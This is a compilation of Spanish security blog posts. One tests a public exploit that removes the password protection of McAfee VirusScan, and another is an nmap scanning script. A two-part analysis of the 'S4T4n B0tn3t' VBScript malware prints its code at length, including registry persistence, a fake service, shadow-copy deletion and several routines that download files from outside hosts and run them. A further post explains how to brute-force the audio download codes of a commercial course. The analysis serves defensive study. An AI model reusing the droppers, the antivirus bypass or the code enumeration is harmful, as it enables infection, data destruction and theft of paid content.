Para dichas pruebas se han utilizado dos sistemas, un Windows 7 y un Windows XP.
Las pruebas se han realizado de manera manual y mediante un exploit.

NOTA:   Para realizar la prueba manual se ha tenido en cuenta la siguiente noticia:
NOTA:    Exploit: https://lab.mediaservice.net/code/mcafee_unprotector.c

                El código ha tenido que ser modificado en parte debido a errores en la compilación.

                Habría que cambiar las siguientes líneas marcadas en rojo:


Primer conjunto de líneas


Segundo conjunto de líneas

                Por la siguiente línea:

SOFTWARE\\Wow6432Node\\McAfee\\DesktopProtection

La versión de VirusScan utilizada para las pruebas ha sido la: 8.8.0 (Parche 6), que es la más actual sin tener en cuenta el nuevo parche de McAfee (parche 7)


Versión de VirusSCan .

Windows XP - Manualmente

Para este propósito se buscan los procesos que utilicen la clave de registro “HKEY_LOCAL_MACHINE\SOFTWARE \Mcafee\DesktopProtection”



Búsqueda de los procesos que utilizan la clave de registro “HKEY_LOCAL_MACHINE\SOFTWARE \Mcafee\DesktopProtection”

El siguiente paso es parar los procesos:

1.- mfeann.exe
2.- VsTskMgr.exe
3.- McTray.exe

En esta tarea nuestro intento de explotación se detiene debido a que no tenemos permisos para parar todos los procesos anteriormente indicados.


Intento de parar el proceso: mfeann.exe



Intento de parar el proceso: mfeann.exe



Intento de parar el proceso: VsTskMgr.exe



Intento de parar el proceso: VsTskMgr.exe


Los procesos anteriores no se pueden detener debído a que, incluso siendo administrador de la máquina, no se tienen permisos para ello. Para poder pararlos se necesitaría tener los permisos del usuario: “system”.

NOTA: El usuario System es el utilizado por el propio sistema operativo.


Usuario que lanza el proceso: mfeann.exe




Usuario que lanza el proceso: VsTskMgr.exe

Windows XP – Automático

Para este proceso se ha utilizado un exploit publicado recientemente, tal y como se ha comentado anteriormente.

Por este método se ha conseguido explotar la vulnerabilidad y conseguir eliminar la necesidad de utilizar una contraseña para poder modificar las características de VirusScan



Antes del uso del exploit


Después del uso del exploit.
Podemos parar el analizador en tiempo real sin necesidad de credenciales

Windows 7 - Manualmente

Se van a seguir la misma operativa que la utilizada en el sistema Windows XP.

Lo primero que se ve es la inexistencia de procesos que utilicen la clave de registro “HKEY_LOCAL_MACHINE\SOFTWARE \Mcafee\DesktopProtection” o parecida.


Resultados de la búsqueda comentada anteriormente


Aún así se pasa a comprobar si es posible parar los mismos procesos vistos en la máquina con Windows XP. Pero ni siquiera se puede ver el usuario que los ha lanzado, por lo que se puede decir que este método de explotación tampoco funciona


Proceso padre y propiedades del proceso: mfeann.exe



Windows 7 – Automático


Para este proceso se ha utilizado un exploit publicado recientemente.

NOTA: El código ha tenido que ser modificado en parte debido a errores en la compilación.

Por este método NO se ha conseguido explotar la vulnerabilidad y conseguir eliminar la necesidad de utilizar una contraseña para poder modificar las características de VirusScan


Resultado de lanzar el exploit en sistemas Windows 7

CONCLUSIONES

Por lo que se ha podido comprobar la explotación de la vulnerabilidad depende enteramente del sistema operativo que se utilice y de que el usuario que lo lance sea administrador de la máquina.

Se sugiere crear una regla que evite, en sistemas Windows XP, cambiar el valor de la siguiente clave de registro:

“HKEY_LOCAL_MACHINE\SOFTWARE\Mcafee\DesktopProtection\UIPMode”
“HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mcafee\DesktopProtection\UIPMode”

Como comentario final indicara que las pruebas no se han realizado sobre sistemas Windows 8 ni sistemas Windows 10.

Por necesidades acabe desarrollando un código ...

$
0
0
Por necesidades acabe desarrollando un código en bash cuyo objetivo es, siempre y cuando no tengamos una base de datos con los activos de nuestra empresa, buscar un determinado servicio en las redes que nosotros queramos.

El código se basa en la presencia de la herramienta "Nmap" en nuestro sistema, y de la catalogación de los servicios del mismo.

NOTA: El código es funcional y, obviamente, mejorable.

#!/bin/bash
#
#----- NOTA INFORMATIVA -----
#
#Desarrollado por 4null0
#
#Con el siguiente código se buscan direcciones IP que tengan el puerto indicando (segundo parámetro) abierto.
#
#NOTA: Las redes donde buscar vienen definidas en el archivo indicado como parámetro.
#
#El tercer parámetro, que es opcional, indicaría el servicio a buscar.
#
# Ejemplo del uso del tercer parámetro:
#              ./BusquedaServicio.sh Listado.txt 80 IIS  (Buscaría IPs con el puerto 80 abierto y que el servicio se base en IIS de Microsoft)

if [ $# = 0 ] || [ $# = 1 ] || [ $# -gt 3 ]; then
                echo "Este script sólo admite dos parámetros, que se corresponde con el archivo con:\n"
                echo "1.- Archivo con IPs"
                echo "2.- Puerto"
                echo "3.- Nombre del servicio a encontrar"
                exit
else
                #---VARIABLE QUE CONTIENEN EL NOMBRE DEL DIRECTORIO A CREAR       
                directorio=Puerto-$2

                #---SI EXISTE EL DIRECTORIO, PASAMOS A MOSTRAR LOS DATOS SEGÚN NOS INDIQUEN EL RESTO DE PARÁMETROS, SI NO, CREAMOS EL DIRECTORIO Y CONTINUAMOS CON
                #---NORMALIDAD
                if [ -d $directorio ]; then
                               echo "El directorio existe ... se pasara a mostrar los datos ya obtenidos según el resto de parámetros"
                               echo ""
                              
                               if [ -a $directorio/InformeFinal ]; then

                                               echo "Borramos el archivo: InformeFinal"
                                               echo ""
                                               rm $directorio/InformeFinal
                               fi
                else
                               mkdir $directorio
               
                               #----- ESCANEO DE PUERTOS PARA CADA UNA DE LAS IPs ENCONTRADAS -----
                               for IP in $(cat $1)
                               do
                                               red=$(echo $IP | awk -F "/"'{print $1}')
                                               echo "Escaneando: "$IP
                                               $(nmap -Pn -n -open --host-timeout 10m -p $2 -sV $IP -oN $directorio/$red.txt  1> /dev/null)
                               done
                fi

                #---EXISTE UN TERCER PARÁMETRO, POR LO QUE BUSCAMOS UN SERVICIO EN CONCRETO
                if [ $# = 3 ]; then
                               grep -e "$2/tcp" $directorio/*.txt | awk -F "    "'{print $2}' | sort -u | grep "$3">> $directorio/Servicios
                else
                               grep -e "$2/tcp" $directorio/*.txt | awk -F "    "'{print $2}' | sort -u >> $directorio/Servicios                    
                              
                fi

                #---OBTENEMOS LAS DIRECCIONES IPs POR CADA SERVICIO ENCONTRADO
                while read i
                do
                               echo $i >> $directorio/InformeFinal
                               echo "-----">> $directorio/InformeFinal
                               grep -e "$i$" -e "report for" Puerto-$2/*.txt | grep -e "$i$" -B 1 | awk -F "txt:"'{print $2}' | sed 's/Nmap scan report for //;s/open//g' | grep -v "$i$"  | sort -u >> $directorio/InformeFinal
                               echo "">> $directorio/InformeFinal

                done < $directorio/Servicios

                cat $directorio/InformeFinal
               
                #---ELIMINAMOS EL ARCHIVO TEMPORAL: Servicios
                rm $directorio/Servicios
               
fi

Un saludo Mario






Analizando "S4T4n B0tn3t" - Parte 3

$
0
0



Continuamos con el análisis.

En el trozo de código que se muestra a continuación se almacenan en varias variables los valores siguientes:

1.-  La información contenida en la variable del sistema "systemroot", que el sistema 'donde se están haciendo las pruebas es: C:/Windows, se almacena en la variable: "drv"
2.- La información contenida en la variable del sistema "systemdrive", que el sistema 'donde se están haciendo las pruebas es: C, se almacena en las variables: "tmpdir" y “rep”

Set WshShell = Wscript.CreateObject("Wscript.shell")
rep=wshshell.expandenvironmentstrings("%systemdrive%")
drv=wshshell.expandenvironmentstrings("%systemroot%")
tmpdir=shell.ExpandEnvironmentStrings("%systemdrive%")

En el trozo de código que se muestra a continuación se copia el archivo “wscript.exe” en la carpeta “security” creada anteriormente.


set loFSO = CreateObject("Scripting.FileSystemObject")
loFSO.CopyFile ""&drv&"\system32\wscript.exe",""&rep&"\security\svchost.exe"
Así mismo, se creará en la misma carpeta el archivo: “system.vbs”, que contendrá dos líneas de código, que permitirán ejecutar el archivo: “blood.dat

 nomfichhh=tmpdir & "\security\system.vbs"
Set fso = CreateObject("Scripting.FileSystemObject")
set f = fso.OpenTextFile(nomfichhh, ForWriting , true)

f.writeline " set variable=createobject(""wscript.shell"") "
f.writeline " variable.run ""svchost.exe /e:VBScript.Encode """""&tmpdir&"\security\blood.dat"",false "
f.close

En el trozo de código que se muestra a continuación se crea una una clave en el registro de Windows, que será la que permita lanzar durante el proceso de arranque este nuestro “querido malware”. La clave de registro es:

HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\rescue

Y el valor añadido será:

C:/ProgramData/rescue.vbe

WScript.CreateObject("WScript.Shell").RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\rescue",""""&dema&"\rescue.vbe""", "REG_SZ"

En el trozo de código que se muestra a continuación se vuelve vuelve a almacenar en la variable: “drv”,  la información contenida en la variable del sistema "systemroot", que el sistema 'donde se están haciendo las pruebas es: C:/Windows.

Set WshShell = Wscript.CreateObject("Wscript.shell")
drv=wshshell.expandenvironmentstrings("%systemroot%")
Set oShell = WScript.CreateObject ("WScript.Shell")

Para a continuación crear dos carpetas:

1.- C:/Windows/system32/system
2.- C:/Windows/system32/system/msg

Y dormir la ejecución durante 3 segundos

oShell.run "cmd /K md %systemroot%\system32\system & md %systemroot%\system32\system\msg & EXIT",0
Set oShell = Nothing

wscript.sleep 3000

En el trozo de código que se muestra a continuación se procede a crear el archivo: “config.txt” en la ruta marcada por:

%systemroot%\system32\system\msg\

Set WshShell = Wscript.CreateObject("Wscript.shell")
Set oShell = WScript.CreateObject ("WScript.Shell")
oShell.run "cmd /u /K ( @echo DisplayName=msg&@echo Description=Description&@echo ServiceType=272& echo WaitActive=0&@echo StartType=2&@echo ErrorControl=1&@echo Source=%systemdrive%\security\system.vbs&@echo ResetPeriod=0&@echo RebootMsg=&@echo Command=&@echo nActions=0&@ echo Actions=&@echo StartAtTime=OneTime) > %systemroot%\system32\system\msg\config.txt & EXIT",0
Set oShell = Nothing

Visualmente, el archivo creado es:

Archivo “Config.txt”


En el trozo de código que se muestra a continuación se procede a crear de nuevo la función: “isServiceRunning”,  que permite determinar si un servicio está o no ejecutándose

function isServiceRunning(strComputer,strServiceName)
       Dim objWMIService, strWMIQuery

       strWMIQuery = "Select * from Win32_Service Where Name = '"& strServiceName & "' and state='Running'"

       Set objWMIService = GetObject("winmgmts:" _
             & "{impersonationLevel=impersonate}!\\"& strComputer & "\root\cimv2")

       if objWMIService.ExecQuery(strWMIQuery).Count > 0 then
             isServiceRunning = true
       else
             isServiceRunning = false
       end if

end function

En el trozo de código que se muestra a continuación se procede a crear el archivo: “svchost.exe” , en la ubicación: “&drv&"\system32\system\”, más concretmente: “C:\Windows\system32\system\”, para llenarlo con información relativa a línea 20 del archivo que se está analizando.

Dim fso, f, f2, ts, ts2
Dim Ligne, i
Set FSO = CreateObject("Scripting.FileSystemObject")

Set f = fso.GetFile(WScript.ScriptFullName)
Set ts = f.OpenAsTextStream(1, -2)
fso.CreateTextFile ""&drv&"\system32\system\svchost.exe"

Set f2 = fso.GetFile(""&drv&"\system32\system\svchost.exe")
Set ts2 = f2.OpenAsTextStream(2, -2)
for i=1 to 19
ts.skipline
next
do
Ligne = ts.readline
For i=2 to Len(Ligne) step 2
ts2.write chr( "&h"& mid(Ligne,i,2))
Next

loop until ts.AtEndOfStream
ts.Close
ts2.Close

En el trozo de código que se muestra a continuación se procede a comprobar si se encuentra en función el servicio “system”. En caso afirmativo, no se hace nada. Por el contrario, si no se ejecuta, se procede a arrancar el servicio “system”.

strComputer = "."
strServiceName = "system"

if isServiceRunning(strComputer,strServiceName) then

        else

set wshshell=createobject("wscript.shell")
Set oShell = WScript.CreateObject ("WScript.Shell")
oShell.run "cmd /K sc create system binPath= ""%systemroot%\System32\system\svchost.exe msg"" start= auto & net start system & sc description system "" processus g‚n‚rique de Windows .Si ce service est arrˆt‚,les services qui en d‚pendent ne pourront pas d‚marrer et votre systeme risque d'etre endommag‚. ""& EXIT",0
Set oShell = Nothing

end if

En el trozo de código que se muestra a continuación se procede a crear las siguientes claves de registro:

HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\sdate\sdate
HKEY_CLASSES_ROOT\Applications\Notepad2.exe\shell\open\command\%SystemRoot%\System32\Notepad.exe
HKEY_CLASSES_ROOT\Applications\notepad.exe\shell\open\command\%SystemRoot%\System32\Notepad.exe
HKEY_CLASSES_ROOT\Batfile\Shell\Edit\Command\"%SystemRoot%\System32\Notepad.exe
HKEY_CLASSES_ROOT\VBEFile\Shell\Edit\Command\"%SystemRoot%\System32\Notepad.exe

WScript.CreateObject("WScript.Shell").RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\sdate\sdate","34", "REG_SZ"

WScript.CreateObject("WScript.Shell").RegWrite "HKEY_CLASSES_ROOT\Applications\Notepad2.exe\shell\open\command", "%SystemRoot%\System32\Notepad.exe", "REG_EXPAND_SZ"
WScript.CreateObject("WScript.Shell").RegWrite "HKEY_CLASSES_ROOT\Applications\notepad.exe\shell\open\command", "%SystemRoot%\System32\Notepad.exe", "REG_EXPAND_SZ"
WScript.CreateObject("WScript.Shell").RegWrite "HKEY_CLASSES_ROOT\Batfile\Shell\Edit\Command\", "%SystemRoot%\System32\Notepad.exe", "REG_EXPAND_SZ"
WScript.CreateObject("WScript.Shell").RegWrite "HKEY_CLASSES_ROOT\VBEFile\Shell\Edit\Command\", "%SystemRoot%\System32\Notepad.exe", "REG_EXPAND_SZ"

En el trozo de código que se muestra a continuación se procede a crear se crea un archivo en la carpeta "Temp" del usuario con el que se ejecuta este código, con el nombre: sdf.vbe. Posteriormente el archivo por lotes se ejecutará.

Set shell = WScript.CreateObject("WScript.Shell")
tmpdir=shell.ExpandEnvironmentStrings("%temp%")
sdf=tmpdir & "\sdf.vbe"

set fsO = CreateObject("Scripting.FileSystemObject")
set f = fso.OpenTextFile(sdf, ForWriting , true)

f.writeline " on error resume next "
f.writeline " do "
f.writeline " WScript.CreateObject(""WScript.Shell"").RegWrite ""HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden"", 2, ""REG_DWORD"""
f.writeline " WScript.CreateObject(""WScript.Shell"").RegWrite ""HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden"", 0, ""REG_DWORD"""
f.writeline " loop "
f.close

set variable = createobject("wscript.shell")
variable.run ""&tmpdir&"\sdf.vbe" , 0,false


El código del archivo, creará dos claves de registro:

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden

Estas modificaciones harán que aunque activemos las opciones que nos permiten ver archivos ocultos, estas se modifiquen automáticamente para que no seamos capaces de ver los archivos ocultos.


¡Quiero aprender Inglés!

$
0
0
Soy un seguidor de un método para aprender inglés bastante famoso.

Este método vende libros con audio, siendo estos audios descargables desde Internet a través de una web en donde te puedes registrar de manera gratuita.

Los códigos que te permiten acceder a los contenidos de audios se encuentran indicados en cada libro, por supuesto, cada libro trae el código para descargarse el audio que le corresponde.

Hace tiempo, quise comprobar el patrón que seguían los código de descarga.

Para ello visite un librería y cogí todo libro de dicho método que encontré, comprobando dos cosas importantes:

1.- El patrón para descargar cualquier audio es: DDDDCCCCCCCDDDDDD

NOTAS MUY IMPORTANTES:

Las "D" se corresponde con un dígito comprendido entre 0 y 9, y las "C" se corresponde con caracteres alfabéticos. Más concretamente, estos caracteres alfabéticos se corresponde con una palabra que nunca varia. Por lo que los posibles patrones son:

                1.1.- Los primeros cuatro dígitos van desde 0000 hasta 9999
                1.2.- La palabra de 7 letras es siempre la misma (No la puedo poner porque desvelaría el nombre del método)
                1.3.- Los últimos seis dígitos van desde 000000 hasta 999999
               
                Las posibles combinaciones son: 1.410.065.408

2.- El patrón de un mismo título es siempre el mismo

A partir de aquí tenemos dos posibilidades para conseguir todos los códigos que permitan descargar todos los audios.

1.- Ir a cualquier librería e ir copiando los códigos de los distintos libros para después descargarlos
2.- Utilizar la web de descarga de los audios para obtener los distintos códigos de los distintos libros, utilizando para ello la fuerza bruta.

El punto 1 no es muy emocionante.

Para realizar el segundo punto debemos darnos de alta en su web de descarga, que por cierto no posee ningún tipo de cifrado.

Tras lo cual, accedemos y veremos un página muy sencilla en donde solo tenemos que añadir el patrón encontrado en el libro para asociar el audio del libro a nuestro perfil.

De todas las URL analizadas, se ha visto que se puede aprovechar la siguiente:

http://<dominio>/audio/details/<ddddcccccccdddddd>


  
Que responderá con un código 200 si el código transmitido es correcto.


No así, con uno código erróneo.


Que responderá con un código 302, y se producirá una re-dirección hacía la página inicial.


A partir de aquí ...


NOTA FINAL:Tener cuidado con la vigencia de la sesión.

Analizando "S4T4n B0tn3t" - Parte 4 y última

$
0
0
Continuamos con el análisis.

En el trozo de código que se muestra a continuación se procede a realizar varias tareas de usa sola tirada:

1.- Se accede a la carpeta “\system32\drivers” para renombrar el archivo: “flpydisk.sys” por el nombre: “flpydisk.sy_”. La ubicación de la carpeta a la que se ha accedido depende del contenido de la variable del sistema: “systemroot”.

NOTA: Habitualmente el contenido de esta variable será: “C:\Windows

2.- Tras esta acción se procederá a eliminar a los siguientes archivos:
               
                2.1.- \security\system.bat
                2.2.- \security\system.exe
                2.3.- \kernel\explorer.exe
                2.4.- \kernel\update.exe
                2.5.- reskp.exe

Las cuatro primeras eliminaciones se ubican en la carpeta indicada por el contenido de la variable del sistema: “systemdrive”, que normalmente contendrá el valor: “C:

Hay que recordar que estas carpetas han sido creadas por el propio código de la botnet, y permanecen con la propiedad “oculta” activada.

La última eliminación se ubica en la carpeta indicada por el contenido de la variable: “temp”.

3.- Por último elimina el directorio: “system32” y todo su contenido, ubicado en “C:”  


Set oShell = WScript.CreateObject ("WScript.Shell")
oShell.run "cmd /K cd/d %systemroot%\system32\drivers & ren flpydisk.sys flpydisk.sy_ & del/f/q/s %systemdrive%\security\system.bat & del/f/q/s %systemdrive%\security\system.exe & del/f/q/s %systemdrive%\kernel\explorer.exe & del/f/q/s %systemdrive%\kernel\update.exe & del/f/q/s ""%temp%\reskp.exe""& rd/q/s %systemdrive%\system32 & EXIT",0
Set oShell = Nothing

En el trozo de código que se muestra a continuación se procede a crear el archivo: “rescue.vbe” en la ruta marcada por la variable: “Allusersprofile”.

NOTA: Habitualmente el contenido de esta variable será: “C:\ProgramData

r00t=shell.ExpandEnvironmentStrings("%Allusersprofile%")
bkdr=r00t & "\rescue.vbe"

set fsO = CreateObject("Scripting.FileSystemObject")
set f = fso.OpenTextFile(bkdr, ForWriting , true)

f.writeline "  On error resume Next "

f.writeline "  wscript.sleep 30000 "'

f.writeline " set variable=createobject(""wscript.shell"") "
f.writeline " variable.run ""%systemroot%\system32\wscript.exe /e:VBScript.Encode """""&var1&"\kernel\r00t3r"",false "

f.writeline "  wscript.sleep 300000 "'
f.writeline "  Set shell = WScript.CreateObject(""WScript.Shell"") "
f.writeline "  Set WshShell = Wscript.CreateObject(""Wscript.shell"") "
f.writeline "  tmpdir=shell.ExpandEnvironmentStrings(""%temp%"") "
f.writeline "  set wshshell=createobject(""wscript.shell"") "
f.writeline "  mane = ""http://bootme.me.pn/""             "
f.writeline " yow = ""booter.""   "
f.writeline "  fin = ""dat""   "
f.writeline "  strFileURL = """"&mane&""""&yow&""""&fin&""""  "
f.writeline "  strHDLocation = tmpdir & ""\booter.dat""   "
f.writeline "  set objXMLHTTP = CreateObject(""MSXML2.XMLHTTP"")   "
f.writeline "  objXMLHTTP.open ""GET"", strFileURL, false   "
f.writeline "  objXMLHTTP.send()  "
f.writeline "  If objXMLHTTP.Status = 200 Then   "
f.writeline "  Set objADOStream = _   "
f.writeline "  CreateObject(""ADODB.Stream"")   "
f.writeline "  objADOStream.Open  "
f.writeline "  objADOStream.Type = 1 'adTypeBinary   "
f.writeline "  objADOStream. _   "
f.writeline "  Write _   "
f.writeline "  objXMLHTTP _   "
f.writeline "  .ResponseBody   "
f.writeline "  objADOStream. _   "
f.writeline "  Position = 0   "
f.writeline "  Set objFSO = _   "
f.writeline "  Createobject(""Scripting.FileSystemObject"")  "
f.writeline "  If objFSO. _   "
f.writeline "  Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation   "
f.writeline "  Set objFSO = Nothing   "
f.writeline "  objADOStream _   "
f.writeline " .SaveToFile strHDLocation   "
f.writeline "  objADOStream.Close   "
f.writeline "  Set objADOStream = Nothing   "
f.writeline "  End if   "
f.writeline "  a = objXMLHTTP.getResponseHeader(""Content-Length"")   "
f.writeline "  Set objXMLHTTP = Nothing   "
f.writeline " set loFSO = CreateObject(""Scripting.FileSystemObject"")   "
f.writeline " loFSO.CopyFile """"&tmpdir&""\booter.dat"",""""&tmpdir&""\reskp.exe""   "
f.writeline " loFSO.DeleteFile """"&tmpdir&""\booter.dat""   "
f.writeline " Set oFSO = CreateObject(""Scripting.FileSystemObject"")   "
f.writeline " stFichier = """"&tmpdir&""\reskp.exe""   "
f.writeline " Set oFl = oFSO.GetFile(stFichier)   "
f.writeline " b = oFl.size   "
f.writeline " if """"&a&"""" = """"&b&"""" then   "
f.writeline " set variable=createobject(""wscript.shell"")   "
f.writeline " variable.run """"""""&tmpdir&""\reskp.exe"""""",0,False   "
f.writeline " else   "
f.writeline " end if  "
f.close

Visualmente, el archivo creado es:

Archivo “rescue.vbe”

Este realizará lo siguiente:

1.- Permanecerá inactivo durante 30 segundos.
2.- Codificara el archivo “r00t3r” ubicado en la carpeta: “kernel
3.- Permanecerá inactivo durante otros 30 segundos
4.- Realizará una petición basada en protocolo HTTP a la URL: http://bootme.pn/booter.dat
5.- Lo que se descargue se descargará en la ubicación: “<carpeta temporal>/booter.dat”. Eso sí, si dicho archivo ya existiera, lo eliminaría antes de nada.
6.- El archivo descargado lo copia en la misma ubicación pero con el siguiente nombre: “reskp.exe
7.- Elimina en archivo descargado: “booter.dat
8.- Ejecutamos el archivo: “reskp.exe

Conclusiones: Estamos ante un procedimiento de actualización.


On error Resume NexT

En el trozo de código que se muestra a continuación se procede a eliminar las copias de seguridad realizadas por el propio sistema operativo.


Drive = ""
  Set obj = GetObject("winmgmts:{impersonationLevel=impersonate}!root/default:SystemRestore")
  ret=obj.Disable(Drive)
  Set obj = GetObject("winmgmts:{impersonationLevel=impersonate}!root/default:SystemRestore")
  ret=obj.Enable(Drive)
  ret=obj.Enable(Drive)
  Set obj = Nothing

set wshshell=createobject("wscript.shell")
Set oShell = WScript.CreateObject ("WScript.Shell")
oShell.run "cmd /K vssadmin delete shadows /all /quiet & cd/d ""%systemdrive%\system volume Information""& del/f/s/q/a ""%systemdrive%\system volume Information\*.*""& EXIT",0
Set oShell = Nothing

En el trozo de código que se muestra a continuación se procede a ejecutar un bucle que permite parar la ejecución del código durante un cierto tiempo.

prem = TotalTime
deux = Start
dern = PauseTime

While True
        dern = 3600    
        deux = Timer   
        Do While Timer < deux + dern


En el trozo de código que se muestra a continuación se procede a llamar al procedimiento: detectarracines.

detecterracines

Tras lo cual, se procede a dormir la ejecución del código durante 1 segundo

wscript.sleep 1000

En el trozo de código que se muestra a continuación se procede a ejecutar un bucle que estará ejecutándose en todo momento que solicitará recursos de Internet.

Pasamos a analizarlo.

Loop

En el trozo de código que se muestra a continuación se procede a escribir el valor 0 en la clave de registro:

"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools"
     
WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",0, "REG_DWORD"

En el trozo de código que se muestra a continuación se procede a realizar una petición hacia Internet solicitando la siguiente URL: http://registered.co.nf


oN eRroR rEsumE NeXT
Set xmlHttp = CreateObject("MSXML2.ServerXMLHTTP")
urlCert = "http://registered.co.nf/"
xmlHttp.Open "GET", urlCert, False
xmlHttp.Send ""
xmlHttp.Abort


En el trozo de código que se muestra a continuación se procede a realizar:

1.-  Realizará una petición basada en protocolo HTTP a la URL: http://timalin.99k.org/system.txt
2.- Lo que se descargue se descargará en la ubicación: “C:\security\system.txt”. Eso sí, si dicho archivo ya existiera, lo eliminaría antes de nada.
3.- El archivo descargado lo copia en la misma ubicación pero con el siguiente nombre: “system.bat
4.- Elimina en archivo descargado: “system.txt
5.- Ejecutamos el archivo: “system.bat


set wshshell=createobject("wscript.shell")
first = "http://timalin.99k.org/"           
secon = "system."
ext = "txt"
strFileURL = ""&first&""&secon&""&ext&""
third = ""&var1&"\security\"
strHDLocation = ""&third&""&secon&""&ext&""
set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
  Set objADOStream = CreateObject("ADODB.Stream")
  objADOStream.Open
  objADOStream.Type = 1
  objADOStream.Write objXMLHTTP.ResponseBody objADOStream.Position = 0
  
  Set objFSO = Createobject("Scripting.FileSystemObject")
  If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation

  objADOStream.SaveToFile strHDLocation
 objADOStream.Close
 Set objADOStream = Nothing
End if
a = objXMLHTTP.getResponseHeader("Content-Length")
Set objXMLHTTP = Nothing

set loFSO = CreateObject("Scripting.FileSystemObject")
loFSO.CopyFile ""&third&"system.txt",""&third&"system.bat"
loFSO.DeleteFile ""&third&"system.txt"

Set oFSO = CreateObject("Scripting.FileSystemObject")
stFichier = ""&third&"system.bat"
Set oFl = oFSO.GetFile(stFichier)
b = oFl.size
if ""&a&"" = ""&b&"" then

set variable=createobject("wscript.shell")
variable.run """"&var1&"\security\system.bat""",0,False

else
end if

En el trozo de código que se muestra a continuación se procede a realizar:

1.-  Realizará una petición basada en protocolo HTTP a la URL: http://ttimalin.0fees.net/system.jpg
2.- Lo que se descargue se descargará en la ubicación: “C:\security\system.jpg”. Eso sí, si dicho archivo ya existiera, lo eliminaría antes de nada.
3.- El archivo descargado lo copia en la misma ubicación pero con el siguiente nombre: “system.exe
4.- Elimina en archivo descargado: “system.jpg
5.- Ejecutamos el archivo: “system.exe
      
 set wshshell=createobject("wscript.shell")
 first = "http://ttimalin.0fees.net/"
 secon = "system."
 ext = "jpg"
 strFileURL = ""&first&""&secon&""&ext&""
 third = ""&var1&"\security\"
 strHDLocation = ""&third&""&secon&""&ext&""
 set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
 objXMLHTTP.open "GET", strFileURL, false
 objXMLHTTP.send()
 If objXMLHTTP.Status = 200 Then
  Set objADOStream = CreateObject("ADODB.Stream")
  objADOStream.Open
  objADOStream.Type = 1
  objADOStream.Write objXMLHTTP.ResponseBody
  objADOStream.Position = 0
  Set objFSO = Createobject("Scripting.FileSystemObject")
  If objFSO. Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation

  Set objFSO = Nothing
  objADOStream.SaveToFile strHDLocation
  objADOStream.Close
  Set objADOStream = Nothing
 End if
 a = objXMLHTTP.getResponseHeader("Content-Length")
 Set objXMLHTTP = Nothing

set loFSO = CreateObject("Scripting.FileSystemObject")
loFSO.CopyFile ""&third&"system.jpg",""&third&"system.exe"
loFSO.DeleteFile ""&third&"system.jpg"

Set oFSO = CreateObject("Scripting.FileSystemObject")
stFichier = ""&third&"system.exe"
Set oFl = oFSO.GetFile(stFichier)
b = oFl.size
if ""&a&"" = ""&b&"" then
 set variable=createobject("wscript.shell")
 variable.run """"&var1&"\security\system.exe""",0,False
else
end if

En el trozo de código que se muestra a continuación se procede a realizar:

1.-  Realizará una petición basada en protocolo HTTP a la URL: http://d0n10ader.sxq.net/explorer.jpg
2.- Lo que se descargue se descargará en la ubicación: “C:\kernel\explorer.jpg”. Eso sí, si dicho archivo ya existiera, lo eliminaría antes de nada.
3.- El archivo descargado lo copia en la misma ubicación pero con el siguiente nombre: “explorer.exe
4.- Elimina en archivo descargado: “explorer.jpg
5.- Ejecutamos el archivo: “explorer.exe

set wshshell=createobject("wscript.shell")

first = "http://d0nl0ader.zxq.net/"
secon = "explorer."
ext = "jpg"
strFileURL = ""&first&""&secon&""&ext&""
third = ""&var1&"\kernel\"
strHDLocation = ""&third&""&secon&""&ext&""

set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()

If objXMLHTTP.Status = 200 Then
 Set objADOStream = CreateObject("ADODB.Stream")
 objADOStream.Open
 objADOStream.Type = 1
 objADOStream.Write objXMLHTTP.ResponseBody
 objADOStream. Position = 0
 Set objFSO = Createobject("Scripting.FileSystemObject")
 If objFSO. Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
 Set objFSO = Nothing
 objADOStream.SaveToFile strHDLocation
 objADOStream.Close
 Set objADOStream = Nothing
End if

a = objXMLHTTP.getResponseHeader("Content-Length")
Set objXMLHTTP = Nothing

set loFSO = CreateObject("Scripting.FileSystemObject")
loFSO.CopyFile ""&var1&"\kernel\explorer.jpg",""&var1&"\kernel\explorer.exe"
loFSO.DeleteFile ""&var1&"\kernel\explorer.jpg"

Set oFSO = CreateObject("Scripting.FileSystemObject")
stFichier = ""&third&"explorer.exe"
Set oFl = oFSO.GetFile(stFichier)
b = oFl.size
if ""&a&"" = ""&b&"" then

set variable=createobject("wscript.shell")
variable.run """"&var1&"\Kernel\explorer.exe""",0,False

else
end if

En el trozo de código que se muestra a continuación se procede a realizar:

1.-  Realizará una petición basada en protocolo HTTP a la URL: http://r000t3r.zzl.org/update.jpg
2.- Lo que se descargue se descargará en la ubicación: “C:\kernel\update.jpg”. Eso sí, si dicho archivo ya existiera, lo eliminaría antes de nada.
3.- El archivo descargado lo copia en la misma ubicación pero con el siguiente nombre: “update.exe
4.- Elimina en archivo descargado: “update.jpg
5.- Ejecutamos el archivo: “update.exe


set wshshell=createobject("wscript.shell")
first = "http://r000t3r.zzl.org/"  
secon = "update."
ext = "jpg"
strFileURL = ""&first&""&secon&""&ext&""
third = ""&var1&"\kernel\"
strHDLocation = ""&third&""&secon&""&ext&""

set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()

If objXMLHTTP.Status = 200 Then
